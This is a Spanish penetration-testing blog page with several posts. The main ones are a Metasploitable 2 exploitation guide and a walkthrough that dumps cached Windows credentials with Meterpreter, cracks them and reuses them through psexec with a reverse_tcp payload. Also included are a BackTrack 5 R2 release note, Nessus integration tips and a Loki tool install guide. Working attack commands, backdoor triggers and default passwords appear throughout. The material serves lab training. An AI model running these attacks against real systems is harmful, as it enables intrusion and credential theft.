Mostrando entradas con la etiqueta Backtrack. Mostrar todas las entradas
Mostrando entradas con la etiqueta Backtrack. Mostrar todas las entradas

miércoles, 13 de junio de 2012

Guía de Explotabilidad de Metasploitable 2

Metasploitable 2


La máquina virtual Metasploitable es una versión de Ubuntu Linux intencionalmente vulnerable diseñada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La versión 2 de esta máquina virtual se encuentra disponible para la descarga desde Sourceforge.net y contiene aún muchas más vulnerabilidades que la imágen original. Esta máquina virtual es compatible con VMWare, VirtualBox, y otras plataformas de virtualización comunes. De manera predeterminada, las interfaces de red de Metasploitable se encuentran atadas a los adaptadores de red NAT y Host-only, y la imagen no debe exponerse a una red hostíl. Este artículo describe muchas de las fallas de seguridad en la imagen de Metasploitable 2. En la actualidad hace falta documentación sobre el servidor web y las fallas de aplicaciones web, así como las vulnerabilidades que permiten a un usuario local escalar a privilegios de root.

Este documento se seguirá ampliando con el tiempo a medida que muchos de los defectos menos evidentes en esta plataforma se vayan encontrando.


Primeros Pasos


Después de arrancar la máquina virtual, inicie sesión en la consola con el usuario msfadmin y contraseña msfadmin. Desde la shell, ejecute el comando ifconfig para identificar la dirección IP. 

msfadmin@metasploitable:~$ ifconfig
 
eth0      Link encap:Ethernet  HWaddr 00:0c:29:9a:52:c1 
          inet addr:192.168.99.131  Bcast:192.168.99.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1



Servicios


Desde nuestro sistema de ataque (Linux, preferiblemente algo como Backtrack), identificaremos los servicios de red abiertos en esta máquina virtual utilizando el Scanner de Seguridad Nmap. La siguiente línea de comando analizará todos los puertos TCP en la instancia de Metasploitable 2:

root@ubuntu:~# nmap -p0-65535 192.168.99.131
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
39292/tcp open  unknown
43729/tcp open  unknown
44813/tcp open  unknown
55852/tcp open  unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)

Casi todos estos servicios en escucha proporcionan un punto de entrada remoto en el sistema. En la siguiente sección, caminaremos a través de algunos de estos vectores.



Servicios: Báses de Unix


Los puertos TCP 512, 513, y 514 son conocidos como los servicios "r", y han sido configurados erróneamente para permitir acceso remoto desde cualquier máquina (una situación típica ".rhosts + +"). Para tomar ventaja de esto, nos aseguraremos de que el cliente rsh-client se encuentre instalado (en Ubuntu), y ejecutamos el siguiente comando como usuario root local. Si se nos solicita una llave SSH, esto significa que las herramientas rsh-client no han sido instaladas y Ubuntu está predeterminando a utilizar SSH.

# rlogin -l root 192.168.99.131
Last login: Fri Jun  1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
root@metasploitable:~#


Esto se pone tan bueno como se vé. El próximo servicio que debe tener en cuenta es el sistema de archivos de red (NFS). NFS puede ser identificado sondeando el puerto 2049 directamente o pidiendo a portmapper obtener una lista de servicios. El siguiente ejemplo usando rpcinfo para identificar NFS y showmount -e para determinar que el recurso compartido "/" (la raíz del sistema de archivos) estará siendo exportado. Necesitaremos los paquetes de Ubuntu rpcbind y nfs-common para seguir adelante. 

root@ubuntu:~# rpcinfo -p 192.168.99.131
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  53318  status
    100024    1   tcp  43729  status
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100021    1   udp  46696  nlockmgr
    100021    3   udp  46696  nlockmgr
    100021    4   udp  46696  nlockmgr
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100021    1   tcp  55852  nlockmgr
    100021    3   tcp  55852  nlockmgr
    100021    4   tcp  55852  nlockmgr
    100005    1   udp  34887  mountd
    100005    1   tcp  39292  mountd
    100005    2   udp  34887  mountd
    100005    2   tcp  39292  mountd
    100005    3   udp  34887  mountd
    100005    3   tcp  39292  mountd

root@ubuntu:~# showmount -e 192.168.99.131
Export list for 192.168.99.131:
/ *


Obtener acceso a un sistema con un sistema de archivos modificable como este es algo trivial. Para que sea así (y porque SSH está ejecutándose), generaremos una nueva llave SSH en nuestro sistema atacante, montamos el export NFS y agregamos nuestra llave al archivo authorized_keys de la cuenta de usuario root:

root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh root@192.168.99.131
Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~#



Servicios: Backdoors


En el puerto 21, Metasploitable 2 ejecuta vsftpd, un servidor FTP popular. Esta versión en particular contiene una puerta trasera (backdoor) que fue introducida en el código fuente por un intruso desconocido. El backdoor fue rápidamente identificado y eliminado, pero no antes de que unas cuantas personas ya lo hubieran descargado. Si un nombre de usuario es enviado terminando con la secuencia " :) " (carita felíz), la versión con el backdoor abrirá una shell en escucha en el puerto 6200. Podemos demostrar esto con telnet o utilizando un módulo de Metasploit Framework para explotarlo automáticamente:

root@ubuntu:~# telnet 192.168.99.131 21
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.

root@ubuntu:~# telnet 192.168.99.131 6200
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)


En el puerto 6667, Metasploitable 2 corre el demonio IRC UnreaIRCD. Esta versión contiene un backdoor que pasó desapercibido por meses, - disparado al enviar las letras "AB" seguidas de un comando del sistema al servidor en cualquier puerto en escucha. Metasploit tiene un módulo para explotar esto con el fin de obtener una shell interactiva, como se muestra a continuación.

msfconsole
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf  exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf  exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700

id
uid=0(root) gid=0(root)


Mucho menos sutíl es el viejo backdoor remanente "ingreslock" que escucha en el puerto 1524. El puerto ingreslock era una opción popular hace una década para agregar una puerta trasera a un servidor comprometido. Accederlo es fácil:

root@ubuntu:~# telnet 192.168.99.131 1524
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)



Servicios: Backdoors No-Intencionales


Además de las puertas traseras maliciosas de la sección anterior, algunos servicios son casi puertas traseras por su propia naturaleza. El primero de estos que está instalado en Metasploitable 2 es distccd. Este programa hace que sea fácil escalar grandes tareas de compilación a través de una granja de sistemas que aparentan estar configurados para tal fin. El problema con este servicio es que un atacante puede abusar de este para ejecutar un comando a su elección, como lo demuestra el uso del módulo de Metasploit a continuación.

msfconsole
msf > use exploit/unix/misc/distcc_exec
msf  exploit(distcc_exec) > set RHOST 192.168.99.131
msf  exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)


Samba, cuando se configura con un recurso de archivos compartidos y enlaces extensos (wide links) habilitados (los cuales vienen activados por defecto), puede utilizarse tambien como un tipo de puerta trasera para acceder archivos que no estaban destinados a ser compartidos. El siguiente ejemplo utiliza un módulo de Metasploit para proporcionar acceso al sistema de archivos raíz utilizando una conexión anónima y un recurso compartido con acceso de escritura.

root@ubuntu:~# smbclient -L //192.168.99.131
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk     
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf  auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf  auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf  auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...
[*] Trying to mount writeable share 'tmp'...
[*] Trying to link 'rootfs' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*]     \\192.168.99.131\tmp\rootfs\

msf  auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //192.168.99.131/tmp
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]


Contraseñas Débiles


Adicionalmente a las más flagrantes puertas traseras y errores de configuración, Metasploitable 2 tiene terrible seguridad de contraseña tanto para la cuenta del sistema como para la cuenta del servidor de base de datos. El usuario principal de administración msfadmin tiene una contraseña que coincide con el nombre de usuario. Al descubrir la lista de los usuarios en este sistema, ya sea mediante el uso de otro defecto para capturar el archivo passwd, o mediante la enumeración de estos identificadores de usuario a través de Samba, un ataque de fuerza bruta puede ser utilizado para acceder rápidamente a varias cuentas de usuario. Como mínimo, las siguientes cuentas débiles del sistema están configuradas en el sistema.

Nombre CuentaContraseña
msfadminmsfadmin
useruser
postgrespostgres
sysbatman
klog123456789
serviceservice


Adicional a estas cuentas a nivel de sistema, el servicio de PostgreSQL puede ser accedido con el nombre de usuario postgres y contraseña postgres, mientras que el servicio de MySQL está abierto con el nombre de usuario root y con una contraseña en blanco. El servicio de VNC proporciona el acceso de escritorio remoto a través de la contraseña password.



Crossposted from Metasploitable 2 Exploitability Guide

jueves, 1 de marzo de 2012

BackTrack 5 R2 – Nuevo Kernel, Nuevas Herramientas


Después de meses de desarrollo, correcciones de bugs, mejoras, y la adición de 42 nuevas herramientas, el equipo de Backtrack-Linux anunció hoy el lanzamiento de BackTrack 5 R2, que ya se encuentra disponible para la descarga. Con una versión personalizada del kernel 3.2.6 y el mejor soporte wi-fi disponible, es considerada la mejor y más rápida versión de BackTrack hasta el momento. En las últimas semanas, se ha presentado una avalancha de envios al Tracker Redmine de Backtrack con enviós de nuevas herramientas y decenas de paquetes que se han requerido sean actualizados y esto ha ayudado a hacer de este uno de los principales lanzamientos que se han hecho.

Una vez más, los buenos amigos de Paterva han creado una edición especial BackTrack de Maltego 3.1.0 para nuestro placer de minería de datos y también se ha incluido su herramienta recientemente publicada CaseFile para ayudarnos a organizar y recopilar datos de numerosas fuentes. Si alguno de nosotros nunca ha utilizado estas herramientas antes, es recomendable hacerlo ya... nos va a cambiar la forma en como interactuamos con los datos y llevamos a cabo el reconocimiento.

Tambien encontraremos que se ha incluido Metasploit 4.2.0 Community Edition, la versión 3.0 de SET (Kit de herramientas de Ingeniería Social), BeEF 0.4.3.2, y muchas otras mejoras de herramientas demasiado numerosas para mencionarlas.

Además de los cambios antes mencionados y adiciones, también sehan agregado las siguientes herramientas nuevas en BackTrack:

arduinobluelogbt-auditdirbdnschefdpscaneasy-creds
extundeletefindmyhashgolismerogoofilehashcat-guihash-identifierhexorbase
horsthotpatchjoomscankillerbeelibhijackmagictreenipper-ng
patatorpipalpyritreaverrebindrec-studioredfang
se-toolkitsqlsussslyzesucrackthc-ssl-dostlssleduniscan
vegawatobowcexwol-exspy



BackTrack 5 R2 - Actualizaciones de seguridad fiables y correcciones semanales

Tal vez el cambio en esta versión que mas ha generado entusiasmo es que ahora se están incluyendo las actualizaciones de Ubuntu en los repositorios más regularmente. Así que de ahora en adelante, cuando ejecutemos un dist-upgrade, tambien obtendremos las herramientas actualizadas y paquetes que están siendo extraídos de Ubuntu, para asi tener una distribución más segura y estable. Podemos estar tranquilos que no se estarán publicando estas actualizaciones a ciegas. Estas van a ser probadas antes de ser publicadas con el fin de garantizar que no afectan ninguna funcionalidad.

Si solamente vamos a hacer una actualización a R2 de una instalación existente de BackTrack, en lugar de hacer una nueva instalación, podemos agregar el repositorio de nuevas actualizaciones nuevas, como se muestra a continuación.

echo "deb
http://updates.repository.backtrack-linux.org revolution main microverse non-free testing" >> /etc/apt/sources.list
apt-get update
apt-get dist-upgrade


Backtrack 5 R2 - Actualizaciones del Wiki

Junto con este lanzamiento, se han creado algunos nuevos HOWTO en el wiki de BackTrack para cubrir algunas cosas que simplemente no se pueden empaquetar de manera eficiente en una distribución, en particular, la configuración de clusters.


Seguro que vamos a disfrutar esta nueva versión de BackTrack tanto como el equipo de desarrollo disfrutó creándola. Seguramente también se cumple el objetivo de ser la mejor distribuci[on para pruebas de penetración. En caso de encontrar fallas o querer hacer alguna sugerencia, podremos abrir un ticket en el Tracker Redmine de BackTrack.

Crossposted from Backtrack-Linux

viernes, 5 de agosto de 2011

Integrando Nessus con Herramientas de Backtrack 5

Backtrack 5, con nombre clave "Revolution", es una distribución Linux muy popular utilizada principalmente para realizar pruebas de penetración. Contiene una grán cantidad de herramientas diferentes para realizar análisis, pruebas y explotación de vulnerabilidades en sistemas de aplicaciones web y hasta en redes inalámbricas. Ya que los creadores de Backtrack 5 han incluido tal arsenal de herramientas, pensé que sería interesante mostrar como algunas de estas herramientas pueden integrarse con nuestro servidor Nessus para extender algunas funcionalidades e importar los resultados.


Importando los Resultados de Nmap
Existen muchas ocasiones en las que Nmap es utilizado para analizar hosts específicos o una gran red de máquinas. Los resultados XML de Nmap pueden ser importados en Nessus y ser utilizados como base en el análisis de vulnerabilidades. Si vamos a utilizar los resultados de Nmap de esta forma, podemos deshabilitar las funcionalidades de análisis de puertos e identificación de hosts propias de Nessus, dependiendo así únicamente de los resultados de Nmap para realizar el análisis.



A continuación, necesitaremos descargar el script "nmapxml.nasl" desde el sitio web de Tenable a nuestro directorio de plugins:



Luego re-indexamos los plugins y reiniciamos Nessus, lo cual permitirá que el nuevo plugin sea leido y se muestre en la pestaña "Preferences":



Una vez Nessus haya reiniciado, podemos importar los resultados XML de Nmap utilizando la siguiente configuración:



Para obtener mas información, podemos consultar el artículo Using Nmap Within Nessus y el post Plugin Spotlight: Import Nmap XML Results Into Nessus.

Al utilizar esta configuración, debemos tener en cuenta que Nessus probará únicamente las máquinas y servicios reportadas por Nmap, aun asi hallamos agregado blancos adicionales específicos al crear el análisis.


Habilitando Nikto
Nikto es una herramienta de análisis de aplicaciones web que busca configuraciones erradas, directorios web accesibles abiertamente y vulnerabilidades del servidorde web. Podemos descargar Nikto desde el sitio web de CIRT. El primer paso para habilitar Nikto es modificar el archivo "/pentest/web/nikto/nikto.pl" y cambiar la variable "configfile" apuntando a "/pentest/web/nikto/nikto.conf":



Esto nos permitirá ejecutar el comando "nikto.pl" desde afuera del directorio /pentest/web/nikto. Luego agregamos "/pentest/web/nikto" al path del sistema:



Esto actualizará el path para todos los servicios que se ejecutan en la máquina, lo que significa que cuando iniciemos Nessus, nikto.pl estará en el path. El paso final es re-indexar los plugins de Nessus (/opt/nessus/sbin/nessusd -y) y reiniciar el servicio (/etc/init.d/nessusd restart). Cuando configuremos una política de análisis, Nikto estará disponible dentro de las preferencias:




Utilizando Hydra

Hydra ya se encuentra instalado en el path del sistema, lo que significa que se encuentra disponible para Nessus "out-of-the-box" en BackTrack 5. El menú de opciones para configurar Hydra se muestra en las preferencias de Nessus cuando se va a configurar una política de análisis:



Aquí necesitaremos incluir nuestros propios diccionarios de usuarios y contraseñas. Podemos encontrar algunos ejemplos de diccionarios de palabras en el directorio "/pentest/dictionaries" de Backtrack 5. Debemos asegurarnos de haber seleccionado la opción "Always enable Hydra (slow)" en la configuración de Nessus o de lo contrario Hydra no se ejecutará.


Conclusión

BackTrack 5 nos ahorra algo de tiempo al incluir todas las herramientas populares de forma predeterminada, lo cual es más rápido que tener que descargar, instalar y configurar los paquetes por nuestros propios medios. Extender los análisis de Nessus puede sernos útil a la hora de realizar análisis específicos a un pequeño grupo de máquinas. Hay que tener precaución al habilitar Nikto e Hydra al realizar un análisis en redes grandes, ya que esto aumentará el tiempo en la ejecución del mismo. En cuanto los resultados de Nmap, algunas veces otras personas ejecutarán análisis de Nmap u querrán enumerar las vulnerabilidades, y otras veces podremos ejecutar Nmap nosotros mismos y decidir luego si se requiere de un análisis de vulnerabilidades, de tal forma que la capacidad de importar los resultados evita la duplicación del esfuerzo.



Referencias

Fuente: Tenable

jueves, 3 de marzo de 2011

Cachedump para Meterpreter en Acción

1. Descargar:
wget http://lab.mediaservice.net/code/cachedump.rb

2. Guardar en el directorio de Metasploit (Backtrack):
mv cachedump.rb  /pentest/exploits/framework3/modules/post/windows/gather

3. Cargar la consola, hackear algo y obtener privilegios de SYSTEM, luego:
meterpreter > run post/windows/gather/cachedump
[*] Executing module against WORKSTATION244
[*] Obtaining the boot key...
[*] Trying 'XP' style...
[*] Getting PolSecretEncryptionKey...
[*] XP compatible client
[*] Lsa Key: 29249a6480f428cb6dacba2d30d5292c
[*] Getting LK$KM...
[*] Dumping cached credentials...
Username             : jdoe
Hash                 : 592cdfbc3f1ef77ae95c75f851e37166
Last login           : 2010-05-11 01:43:48
DNS Domain Name      : CONTOSO.CO
Effective Name       : jdo
Full Name            : eJane Do
User ID              : 1107
Primary Group ID     : 513
Additional groups    : 33620069 33554432 34013184
Logon domain name    : CONTOS
----------------------------------------------------------------------
[*] John the Ripper format:
jdoe:592cdfbc3f1ef77ae95c75f851e37166:CONTOSO.CO:CONTOS
[*] Hash are in MSCACHE format. (mscash)
meterpreter >

4. Romperla:
cat lab.dic | ./john --stdin lab.mscash --format=mscash --pot=lab.pot
Loaded 1 password hash (M$ Cache Hash [Generic 1x])
ASDqwe123        (jdoe)
guesses: 1  time: 0:00:00:00  c/s: 500  trying: ASDqwe123

5. Usarla:
meterpreter > background
msf exploit(handler) > route add 10.10.10.0 255.255.255.0 1
msf exploit(handler) > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST X.X.X.X
LHOST => X.X.X.X
msf exploit(psexec) > set LPORT 80
LPORT => 80
msf exploit(psexec) > set SMBDomain Contoso

SMBDomain => Contoso
msf exploit(psexec) > set SMBUser jdoe
SMBUser => jdoe
msf exploit(psexec) > set SMBPass ASDqwe123
SMBPass => ASDqwe123
msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST                       yes       The target address
   RPORT      445              yes       Set the SMB service port
   SMBDomain  Contoso          no        The Windows domain to use for authentication
   SMBPass    ASDqwe123        no        The password for the specified username
   SMBUser    jdoe             no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, none, process
   LHOST     X.X.X.X          yes       The listen address
   LPORT     80               yes       The listen port
 
Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(psexec) > set RHOST 10.10.10.200
RHOST => 10.10.10.200
msf exploit(psexec) > exploit

[*] Started reverse handler on X.X.X.X:80
[*] Connecting to the server...
[*] Authenticating to 10.10.10.200:445|Contoso as user 'jdoe'...
[*] Uploading payload...
[*] Created \jSlxARUj.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.10.10.200[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.10.10.200[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (SyHtwKpn - "MbEXNupOpYUL")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \jSlxARUj.exe...
[*] Meterpreter session 2 opened (X.X.X.X:80 -> X.X.X.X:54430) at Mon Feb 14 22:23:00 +0000 2011

Woot ;-)

Cross-posted translation from Room362

jueves, 3 de febrero de 2011

Explotación de Redes con Loki en Backtrack R2

Loki es una impresionante herramienta de manipulación de redes a nivel de capa 2/3 creada por Daniel Mende, René Graf y Enno Rey de ERNW. Esta herramienta fué presentada el año pasado durante la realización de BlackHat 2010 (diapositivas aquí). Loki replica parte de la funcionalidad de Yersinia, pero lo hace en un paquete mucho más útil al tiempo que añade soporte para un montón de nuevos protocolos que se encuentran comúnmente en las redes corporativas (protocolos inseguros y vulnerables existentes en muchas redes empresariales).

En este post nos enfocaremos en cómo utilizar con eficacia la poderosa herramienta Loki para aprovechar las fallas de red comunes.


Introducción a Loki:

Loki provee una interfaz gráfica de usuario (GUI) para realizar múltiples ataques a protocolos, permitiéndonos manipular protocolos de red para realizar ataques MITM (Man-In-The-Middle) y otras actividades maliciosas. Los protocolos soportados son:

  • ARP
  • HSRP, HSRPv2
  • RIP
  • BGP
  • OSPF
  • EIGRP [aun no funciona por cuestiones legales]
  • WLCCP [aun no funciona por cuestiones legales]
  • VRRP, VRRPv3
  • BFD (Protocolo de Reenvio Bidireccional)
  • LDP (Protocolo de Diustribución de Etiquetas)
  • MPLS (re-etiquetado, interfaz de tunel)



Con una interfaz bastante fácil de usar, Loki se convierte en una herramienta preferida para la explotación de muchos de estos protocolos, pero más que esto, ofrece una interfaz fiable para la explotación de protocolos que no estan soportados por otras herramientas. Ahora disponemos de una herramienta para inyectar y manipular rutas en entornos OSPF, incluyendo una interfaz para configurar un ataque de diccionario (rápido) en modo offline para MD5.

Desafortunadamente el paquete de Loki aun no se encuentra en los repositorios oficiales de Backtrack,  pero podemos instalarlo de forma manual, en unos sencillos pasos, en cualquier implementación de Backtrack 4 R2 existente (incluyendo máquinas virtuales):

Update 02-07-2011:
Ya se encuentran disponibles paquetes .deb para instalar en Backtrack 4 R2 en la página de Loki


Instalación de Loki:

Para instalar Loki en Backtrack 4 R2 necesitaremos instalar algunos paquetes adicionales, y aplicar un parche al código fuente para hacer que Loki sea compatible con el interprete de Phyton 2.5 incluido en Backtrack 4. Primero, instalaremos varios paquetes requeridos desde el repositorio oficial de Backtrack:

root@bt:~# apt-get update
root@bt:~# apt-get install autoconf automake autotools-dev python-ipy python-libpcap

A continuación, descargaremos el código fuente de Loki y el parche para hacerlo compatible en Backtrack 4 R2. el paquete ya disponible para Backtrack 4 R2.

root@bt:~#wget https://www.c0decafe.de/loki/backtrack4-r2/loki_0.2.5-1_i386.deb


Luego, necesitaremos borrar un módulo de Python que viene incluido pro defecto en Backtrack pero genera conflicto con el módulo python-libpcap requerido por Loki:

root@bt:~#apt-get remove python-pypcap


Ahora debemos descomprimir el paquete y aplicamos el parche instalar el paquete como se muestra a continuación:

root@bt:#dpkg -i loki_0.2.5-1_i386.deb


No fue tan dificil!. Ahora podemos configurar el ambiente de desarrollo para compilar Loki y luego instalarlo:


Utilizando Loki:

Ahora que tenemos Loki instalado en nuestro sistema, podemos ponerlo en uso. Despues de invocar Loki (con el comando loky.py desde la shell), hacemos click sobre el boton de la esquina superior izquierda para invocar la funcionalidad de sniffing de paquetes. A medida que Loki husmea en la red, identificará los protocolos soportados que puede atacar mostrando un parpadeo en la pestaña correspoondiente al protocolo específico. De lo contrario, podremos navegar en las otras pestañas, tales como la pestaña ARP, y hacer click para activar la funcion de análisis (Network Scan) para descubrir objetivos de ataque, tal como se muestra en la siguiente figura:




La funcionalidad de Loki en verdad impresiona, funciona muy bien en la ejecución de actividades de pruebas de penetración (Pentesting) y aunque presenta algunas pocas fallas, estas pueden corregirse fácilmente editando algunos archivos de Python

Un agradecimiento especial para Daniel, Enno y René ({rgraf, dmende, erey}@ernw.de) por poner Loki a disposición de la Comunidad de Software Libre. Los autores de las herramientas no reciben el agradecimiento suficiente por su arduo trabajo, así que por favor consideremos dejar una nota y agradecerles por esta contribución a nuestro arsenal de herramientas de ataque.